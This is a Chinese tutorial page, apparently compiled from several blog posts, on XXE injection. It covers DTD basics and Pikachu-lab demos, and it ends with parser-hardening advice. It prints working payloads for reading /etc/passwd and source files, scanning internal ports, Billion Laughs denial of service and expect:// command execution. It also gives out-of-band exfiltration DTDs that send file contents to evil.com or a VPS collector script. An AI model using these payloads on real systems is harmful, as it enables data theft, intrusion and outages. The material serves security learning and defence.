XXE漏洞详解与利用

Posted 一青一柠

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE漏洞详解与利用相关的知识,希望对你有一定的参考价值。

XXE:XML 外部实体注入

XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件、执行系统命令、内网探测与攻击等危害的一类漏洞。

是不是想到了上节课讲的 SSRF?没错,利用 XXE 可以造成 SSRF。

php 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 PHP 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。

simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);

本文也不打算再讲 PHP 环境下的 XXE 漏洞,Java 才是 XXE 漏洞最常见的语言,因此主要以 Java 为例做一些介绍。但在漏洞利用的实例演示上,我依然用 Pikachu 靶场的 XXE 题目(PHP),因为 XXE 在利用上与语言无关,无论是 php、java 还是 C、python,利用技巧都是一样的。

那么,什么是 XML?

XML(Extensible Markup Language)意为可扩展性标记语言,我将介绍下 XML 的一些基础知识,方便你更好地理解漏洞原理。

1.XML 文档结构

XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素,具体可以参考以下示例。

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE people [  <!--定义此文档是 people 类型的文档-->
  <!ELEMENT people (name,age,mail)>  <!--定义people元素有3个元素-->
  <!ELEMENT name (#PCDATA)>     <!--定义name元素为“#PCDATA”类型-->
  <!ELEMENT age (#PCDATA)>   <!--定义age元素为“#PCDATA”类型-->
  <!ELEMENT mail (#PCDATA)>   <!--定义mail元素为“#PCDATA”类型-->
]]]>
<!--文档元素-->
<people>
  <name>john</name>
  <age>18</age>
  <mail>john@qq.com</mail>
</people>

三者其中,与 XXE 漏洞相关的主要在于文档类型定义(DTD),所以下面主要重点来介绍下 DTD。

2.DTD 实体声明

DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则,其定义结构如下:

<!DOCTYPE 根元素 [定义内容]>

DTD 实体就是变量,它既可以在文档内部声明,也可以外部引用,供在 XML 文档里面去使用。

  • 内部实体声明

内部声明采用如下格式定义:

  <!ENTITY 实体名 "实体值">

声明之后就可以通过“&实体名;”来获取,示例如下:

  <!DOCTYPE foo [
    <!ENTITY test "john">
  ]>
  <root>
    <name>&test;</name>
  </root
  • 外部实体引用

XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体。

(1)普通实体声明格式如下:

<!ENTITY 实体名 SYSTEM "URI">
或者
<!ENTITY 实体名 PUBLIC "public_ID" "URI">

举个例子:

<!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。

(2)参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

举个例子:

<!DOCTYPE foo [
  	<!ENTITY  % xxe SYSTEM "http://hacker.com/evil.dtd" >
  	%xxe;
]>
<root>
  	<name>&evil;</name>
</root>

xxe.dtd 内容如下:

<!ENTITY evil SYSTEM "file:///etc/passwd">

上面先声明 xxe 参数实体,引入外部实体 "http://hacker.com/evil.dtd",里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。
在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。

危害:XXE 的常见攻击手段

下面介绍一些 XXE 漏洞的常见利用方法,并提供一些 payload 测试用例,测试仍以 Pikachu XXE 题目作为演示。

1.内网攻击

XXE 支持 http 等 URL,所以同样可以产生与 SSRF 一样效果,对内网进行指纹探测、端口扫描、漏洞攻击等行为。

比如以下的 payload:

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "http://192.168.31.124:4444/test">
]>
<x>&xxe;</x></r>

由于不存在该端口,所以会出错误:

图 1 探测内网端口失败

成功的话,会返回空白,通过这种对比差异,可以判断是否利用成功:

图 2 探测内网端口成功

2.读取本地文件

通过 file:// 可以读取本地文件,造成敏感文件泄露:

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>

输入上述 XML 提交后,成功读取到 /etc/passwd 文件内容:

图 3 利用XXE漏洞读取 /etc/passwd

3.远程执行命令

如果是 PHP 环境下并安装 except 扩展,就可以利用它执行系统命令了。这种情况现在已经比较少见了,更多还是要利用其他漏洞来实现命令或代码执行。

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "except://id">
]>
<x>&xxe;</x>

XXE 漏洞利用工具

1.XXEinjector

推荐一款综合型的 XXE 漏洞利用工具XXEinjector,用 Ruby 开发,运行前需要先安装 ruby。

sudo apt install ruby

通过输入请求包数据,并指定攻击行为,比如列目录、读文件等。

$ cat req.txt                                                                                    1 ↵
GET /mmpaymd/ordercallback HTTP/1.1
Host: 100.95.204.69:8081
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8
Cache-Control: max-age=259200
Connection: keep-alive

常用命令如下:

图 4 XXEinjector 常用命令

不过,不能完全依赖于 XXEinjector,因为之前我在测试时,发现它也有利用不成功的情况,需要自己多测试验证下。

其他更多 XXE payload,可以参考“XML External Entity (XXE) Injection Payload List”

2.XXExploiter

如果你记不住上面那些 XXE payload,还有个工具可以帮你生成,一款集 payload 生成与发包利用的 XXE 利用工具 XXExploiter,它可以启动服务提供远程 DTD 文件去实现利用。

图 5 xxeploiter 利用方法

就功能而言,个人觉得它比 XXEinjector 更优秀,生成 payload 的功能还可以用于辅助手工测试,结合业务场景自己做一些调整。

XXE 漏洞挖掘

1.黑盒测试

XXE 依然如 SSRF 分为有回显、无回显。通过 XXE 可以造成 SSRF,所以它的检测思路与 SSRF 大同小异,比较通用的方式也是构造特定外网服务器的访问请求,然后查询外网服务器的请求日志,以判断是否请求成功。

无论是手工测试还是自动化,当前检测 XXE 和 SSRF 漏洞的方式大多是基于此原理。

上一讲介绍的 Burp Collaborator,在此处就用得上,使用前面介绍的常见攻击手段,去尝试构造多种测试请求,是否向 Burp Collaborator Server 请求成功,就可以很容易地判断是否存在 XXE。

以 Pikachu 靶场的 XXE 题目为例。用 Burp Collaborator 获得 DNS 解析服务器的地址 b5hcm1ypwg6bvqnxtm6iyqao9ff53u.burpcollaborator.net,然后构造 XXE payload。

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "http://b5hcm1ypwg6bvqnxtm6iyqao9ff53u.burpcollaborator.net">
]>
<x>&xxe;</x>

将上述 payload 输入文本框,点“提交”:

图 6 输入 xml payload

在 Burp Collaborator client 上点击“Poll now”就可以看到请求日志,说明确实存在 XXE 漏洞。

图 7 利用 XXE 请求 Collaborator server 成功

2.白盒审计

以 Java 为例,可以在代码中搜索常用的 XML 解析器,看它们在实例化之后,是否有关闭外部实体引用功能,如果没有就可能存在 XXE 漏洞。

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId

这部分可以结合“XML External Entity Prevention Cheat Sheet”来看,不同语言、不同的 XML 解析库有不同的关闭外部实体引用的方法,在代码审计时,可以对照着看,然后拿一些 xxe payload 实际验证下。

防御 XXE 漏洞

要防御 XXE 也比较简单,关闭外部实体引用即可。比如在 Java 中常用于解析 XML 的 DocumentBuilderFactory,就可以通过 setFeature 方法防御 XXE 漏洞,注意是组合使用,而不是单一防御。

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
try 
    // 禁用DTD
    FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
    dbf.setFeature(FEATURE, true);
<span class="hljs-comment">// 禁用普通实体</span>
FEATURE = <span class="hljs-string">"http://xml.org/sax/features/external-general-entities"</span>;
dbf.setFeature(FEATURE, <span class="hljs-keyword">false</span>);

<span class="hljs-comment">// 禁用参数实体</span>
FEATURE = <span class="hljs-string">"http://xml.org/sax/features/external-parameter-entities"</span>;
dbf.setFeature(FEATURE, <span class="hljs-keyword">false</span>);

<span class="hljs-comment">// 禁用外部DTD引用</span>
FEATURE = <span class="hljs-string">"http://apache.org/xml/features/nonvalidating/load-external-dtd"</span>;
dbf.setFeature(FEATURE, <span class="hljs-keyword">false</span>);

<span class="hljs-comment">// 禁用XInclude处理功能</span>
dbf.setXIncludeAware(<span class="hljs-keyword">false</span>);

<span class="hljs-comment">// 禁用扩展实体引用节点,注意:只使用该方法并不能完全防御XXE</span>
dbf.setExpandEntityReferences(<span class="hljs-keyword">false</span>);

catch ()


// Load XML file or stream using a XXE agnostic configured parser…
DocumentBuilder safebuilder = dbf.newDocumentBuilder();

不同的 XML 解析库有不同的关闭方式,比如全面介绍 XXE 防御方案的是 OWASP 发表的“XML External Entity Prevention Cheat Sheet”,针对不同的语言、XML 解析库,给出不同的防御方案,并提供关闭 XML 实体引用的代码示例,你在防御或者需要修复 XXE 漏洞时可以作为参考。

如果业务需要引用外部实体,建议采用白名单方式限制。

小结

本节课介绍了 XXE(XML 实体注入)漏洞相关的基础知识、漏洞成因和常见攻击手段,有时需要根据有无回显的情况,采取不同的测试方法。

在日常实际应用中,大家都习惯当作无回显的情况来看待,因为无回显的检测方法同样适用于有回显的,相对比较通用。

同时,给你推荐了 XXEinjector 和 XXExploiter 两款利用工具,在辅助检测 XXE 漏洞时会有所帮助。个人更偏好用 XXExploiter,因为它功能更多,利用成功率更高一些,还可以生成 payload 用于测试。

Burp Collaborator 在检测无回显的 XXE 漏洞时,非常好用,结合 XXExploiter 生成的 payload,对其中的 URL 调整为 Burp Collaborator  Server,借助 Burp Collaborator 的自动检测服务端的请求日志,可以帮助判断漏洞是否存在,又不用再自己搭建外网服务器,是一种节约成本的检测方法。


XML注入详解xxe攻击利用

###xxe攻击利用

准备一个有XXE漏洞的文件,如下:

<?php
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;//注释掉该语句即为无回显的情况
?>

xxe利用主要有:任意文件读取、内网信息探测(包括端口和相关web指纹识别)、DOS攻击、远程命名执行
POC
主要有:

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php

不同程序支持的协议不同

1.任意文件读取

任意读取的代码:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xdsec [

<!ELEMENT methodname ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<methodcall>

<methodname>&xxe;</methodname>

</methodcall>

1).有直接回显的情况:可以看命名实体写法,根据实际情况替换相应代码利用即可,我本地测试照搬过来
XML注入详解(三)xxe攻击利用
2).无回显的情况:可以看第一种命名实体+外部实体+参数实体写法和第二种命名实体+外部实体+参数实体写法
第一种写法结果如图:
XML注入详解(三)xxe攻击利用
c://test/1.txt文件内容为111111111,可以从apache的日志中看到

::1 - - [23/Apr/2017:17:37:13 +0800] "GET /111111111 HTTP/1.0" 404 207

第二种写法结果如图:
XML注入详解(三)xxe攻击利用

本地环境读取:

XML注入详解(三)xxe攻击利用

 

XML注入详解(三)xxe攻击利用

 

CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcatmanager部署webshell

另外,数据不回显就没有问题了吗?如下图,

XML注入详解(三)xxe攻击利用

不,可以把数据发送到远程服务器,

XML注入详解(三)xxe攻击利用

远程evil.dtd文件内容如下:

XML注入详解(三)xxe攻击利用


触发XXE攻击后,服务器会把文件内容发送到攻击者网站

XML注入详解(三)xxe攻击利用

XML注入详解(三)xxe攻击利用

基于file协议的XXE攻击

XMLInject.php

<?php

# Enable the ability to load external entities

libxml_disable_entity_loader (false);

 

$xmlfile = file_get_contents('php://input');

$dom = new DOMDocument();

 

# http://hublog.hubmed.org/archives/001854.html

# LIBXML_NOENT:  XML 中的实体引用 替换 成对应的值

# LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure

 

$creds = simplexml_import_dom($dom);

$user = $creds->user;

$pass = $creds->pass;

 

echo "You have logged in as user $user";`?>

file_get_content('php://input')接收post数据,xml数据
XML.txt

 

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<creds>

<user>&xxe;</user>

<pass>mypass</pass>`</creds>

导致可以读出etc/passwd文件
在使用file://协议时,有以下几种格式:

file//host/path

* Linux

 file:///etc/passwd

*  Unix

 file://localhost/etc/fstab

 file:///localhost/etc/fstab

*  Windows

 file:///c:/windows/win.ini

 file://localhost/c:/windows/win.ini

(下面这两种在某些浏览器里是支持的)

 file:///c|windows/win.ini

 file://localhost/c|windows/win.ini

XML文档是用PHP进行解析的,那么还可以使用php://filter协议来进行读取。

 <?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">

]>

<root><foo>&content;</foo></root>

基于netdocXXE攻击

==XML文档是用Java解析的话,可利用netdoc

<?xml version="1.0"?>

<!DOCTYPE data [

<!ELEMENT data (#PCDATA)>

<!ENTITY file SYSTEM "netdoc:/sys/power/image_size">

]>

<data>&file;</data>

读取本地文件:

php环境为例,index.php内容如下:

<?php

$xml=simplexml_load_string($_GET['xml']);

print_r((string)$xml);

?>

利用各种协议可以读取文件。比如file协议,这里的测试环境为win,所以这里我选择读取h盘里的sky.txt

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [<!ENTITY  file SYSTEM "file:///h://sky.txt">]>

<root>&file;</root>

将上述xml进行url编码后传进去,可以发现读取了sky.txt中的内容。

注:

如果要读取php文件,因为phphtml等文件中有各种括号<>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。

 

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [<!ENTITY  file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>

<root>&file;</root>

同样先经过url编码后再传入。

 

2.内网信息探测

借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息

XML注入详解(三)xxe攻击利用

利用http协议http://url/file.ext,替换标准poc中相应部分即可,这种情况比较不稳定,根据不同xml解析器会得到不同的回显报错结果,例如我87关闭,88端口有web服务, 有的没有明显的连接错误信息,所以无法判断端口的状态
XML注入详解(三)xxe攻击利用
XML注入详解(三)xxe攻击利用 也可以探测内网端口:

XML注入详解(三)xxe攻击利用

XML注入详解(三)xxe攻击利用

CASE是探测192.168.1.18081端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。

加载外部DTD时有两种加载方式,一种为私有private,第二种为公共public

私有类型DTD加载:

 

<!ENTITY private_dtd SYSTEM "DTD_location">

 

公共类型DTD加载:

 

<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">

 

在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。

 

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

    <!ENTITY portscan SYSTEM "http://localhost:3389">

]>

<root><foo>&portscan;</foo></root>

因解析器种类不同,所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现,例如:有明显的连接错误信息。

利用DTD进行数据回显

有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。


<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[    <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">      <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">    %dtd;      %send;]> <root></root>

 

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?content=%file;'>"> %payload;

evil.dtd


evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容

或者:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>

<root>

<name>&xxe;</name>

</root>

3.DOS攻击

最典型的案例Billion Laughs 攻击,Billion laughs attackxml解析的时候,<lolz></lolz>中间将是一个十亿级别大小的参数,将会消耗掉系统30亿字节的内存。

POC:

<?xml version = "1.0"?>

<!DOCTYPE lolz [

<!ENTITY lol "lol">

<!ELEMENT lolz (#PCDATA)>

<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">

<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>

<lolz>&lol9;</lolz>

或者:

<!DOCTYPE data [

<!ENTITY a0 "dos" >

<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">

<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">

<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">

<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">

]>

<data>&a4;</data>


POC中中先定义了lol实体,值为"lol"的字符串,后在下面又定义了lol2实体,lol2实体引用10lol实体,lol3又引用了10lol2实体的值,依此类推,到了最后在lolz元素中引用的lol9中,就会存在上亿个"lol"字符串

此时解析数据时未做特别处理,即可能造成拒绝服务攻击。

此外还有一种可能造成拒绝服务的Payload,借助读取/dev/random实现.

4.远程命令执行

PHP下需要expect扩展

XML注入详解(三)xxe攻击利用

 

XML注入详解(三)xxe攻击利用

CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

<?xml version="1.0" encoding="utf-8"?>

  <!DOCTYPE root [

  <!ENTITY content SYSTEM "expect://dir .">

 ]>

 <root><foo>&content;</foo></root>

或者

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "expect://id" >]>

<root>

<name>&xxe;</name>

</root>

bind xxe

对于无回显的xml注入:

在你的vps上放1.xml文件,内容如下:

<!ENTITY % f SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">

<!ENTITY % all "<!ENTITY % s SYSTEM 'http://你的vps/xxe.php?f=%f;'>">

再在你的vps上放xxe.php,内容如下:

<?php

file_put_contents("/tmp/1.txt", $_GET['f']);

?>

最后在可以写xml的页面写如下:

<!DOCTYPE ANY[

<!ENTITY % r SYSTEM "http://你的vps/1.xml">

  %r;

%all;

  %s;

]>

访问1.txt就可以获得flag的内容

5.攻击内网网站

CASE是攻击内网struts2网站,远程执行系统命令。

 <?xml version="1.0" encoding="utf-8"?>

  <!DOCTYPE root [

  <!ENTITY exp SYSTEM "http://192.168.1.103/payload">

 ]>

 <root><foo>&exp;</foo></root>

或者

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>

<root>

<name>&xxe;</name>

</root>

或者

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xdsec [

<!ELEMENT methodname ANY >

<!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]>

<methodcall>

<methodname>&xxe;</methodname>

</methodcall>

如果包含文件失败,可能是由于读取php等文件时文件本身包含的<等字符.可以使用Base64编码绕过,:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xdsec [

<!ELEMENT methodname ANY >

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>

<methodcall>

<methodname>&xxe;</methodname>

</methodcall>

利用外部实体构造payload向内网其他机器发出请求


关联阅读:



以上是关于XXE漏洞详解与利用的主要内容,如果未能解决你的问题,请参考以下文章

[Web安全] XXE漏洞攻防学习(中)

XXE漏洞中DOCTYPEENTITY傻傻分不清-WEB安全基础入门—XML外部实体注入(XXE)

XML注入详解xxe攻击利用

XML相关的安全漏洞-XXE,XPATH小结

[Web安全] XXE漏洞攻防学习(上)

XML注入详解java中的xxe利用